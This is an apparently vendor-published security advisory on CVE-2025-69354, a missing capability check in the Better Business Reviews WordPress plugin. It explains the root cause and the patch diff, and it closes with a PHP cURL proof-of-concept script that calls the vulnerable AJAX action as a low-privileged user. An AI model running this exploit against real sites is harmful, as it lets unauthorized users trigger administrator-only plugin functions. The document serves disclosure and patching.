Atomic Edge analysis of CVE-2025-69354:
This vulnerability is a missing authorization flaw in the Better Business Reviews WordPress plugin, versions 0.1.1 and earlier. The vulnerability allows authenticated attackers with Subscriber-level permissions or higher to trigger a privileged administrative function, leading to unauthorized actions.
The root cause is the absence of a capability check in the `brtpmj_fetch_reviews()` function within the file `better-business-reviews/admin/sync.php`. The original code, on line 13, only verified a nonce via the `wp_verify_nonce()` function. This nonce check alone does not enforce user authorization. The function was accessible to any authenticated user who could provide a valid nonce, as the code lacked a call to `current_user_can()` to restrict access to users with the `manage_options` capability.
Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker must send a POST request to the WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`, with the `action` parameter set to `brtpmj_fetch_reviews`. The request must also include a valid `brtpmj_admin_nonce` parameter. The attacker can obtain this nonce from the plugin’s admin interface, which may be accessible via other means like CSRF or information disclosure. The payload triggers the unauthorized execution of the `brtpmj_fetch_reviews` function.
The patch adds a capability check at the beginning of the conditional statement in `sync.php`. The new condition, `!current_user_can( ‘manage_options’ )`, is evaluated first. This ensures the function execution halts with a 400 error unless the current user possesses the `manage_options` capability, which is typically reserved for administrators. The nonce check remains in place for CSRF protection, but the authorization check now acts as the primary gatekeeper. The plugin version was also updated to 0.1.2 in the main file.
If exploited, this vulnerability allows authenticated low-privileged users to perform administrative actions intended only for site administrators. The specific impact depends on the functionality of the `brtpmj_fetch_reviews()` function, which likely involves fetching and potentially modifying Trustpilot review data. This could lead to unauthorized data access, manipulation of displayed reviews, or disruption of the plugin’s synchronization service.
--- a/better-business-reviews/admin/sync.php
+++ b/better-business-reviews/admin/sync.php
@@ -13,7 +13,7 @@
if (!function_exists('brtpmj_fetch_reviews')) {
function brtpmj_fetch_reviews(){
$brtpmj_res_array = array();
- if ( !isset( $_POST['brtpmj_admin_nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash ( $_POST['brtpmj_admin_nonce'] ) ), 'brtpmj_ajax_nonce' ) ) {
+ if ( !current_user_can( 'manage_options' ) || !isset( $_POST['brtpmj_admin_nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash ( $_POST['brtpmj_admin_nonce'] ) ), 'brtpmj_ajax_nonce' ) ) {
header( 'HTTP/1.1 400 Empty POST Values' );
$brtpmj_res_array['error'] = __('Error - Could not verify POST values', 'better-business-reviews');
echo wp_json_encode($brtpmj_res_array);
--- a/better-business-reviews/better-business-reviews.php
+++ b/better-business-reviews/better-business-reviews.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: Better Business Reviews - Trustpilot WordPress Plugin.
* Description: Display your business reviews from a Trustpilot profile.
-* Version: 0.1.1
+* Version: 0.1.2
* Author: Better Business Reviews
* Author URI: https://trustpilotplugin.com/
* License: GPLv2 or later
@@ -20,7 +20,7 @@
function brtpmj_init_plugin(){
define ( 'BRTPMJ_PLUGIN_DIR', plugin_dir_path(__FILE__ ) );
- define ( 'BRTPMJ_PLUGIN_VER', '0.1.1' );
+ define ( 'BRTPMJ_PLUGIN_VER', '0.1.2' );
global $brtpmj_plugin_url, $brtpmj_api_url;
$brtpmj_plugin_url = plugin_dir_url( __FILE__ );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69354 - Better Business Reviews <= 0.1.1 - Missing Authorization
<?php
// Configure the target WordPress site URL
$target_url = 'https://vulnerable-site.example.com';
// WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The action hook for the vulnerable function
$action = 'brtpmj_fetch_reviews';
// A valid nonce is required. In a real attack, this might be obtained via another vulnerability or by tricking an admin.
// This PoC assumes you have obtained a valid nonce (e.g., from a page source).
$brtpmj_admin_nonce = 'INSERT_VALID_NONCE_HERE';
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
// Set POST fields: action and the required nonce
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => $action,
'brtpmj_admin_nonce' => $brtpmj_admin_nonce
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Include cookies if you have an authenticated session (e.g., as a Subscriber)
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xyz=...');
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output the result
echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "n";
// A successful unauthorized execution will return a 200 status with plugin data.
// A failure (patched or invalid nonce) may return a 400 error.
?>
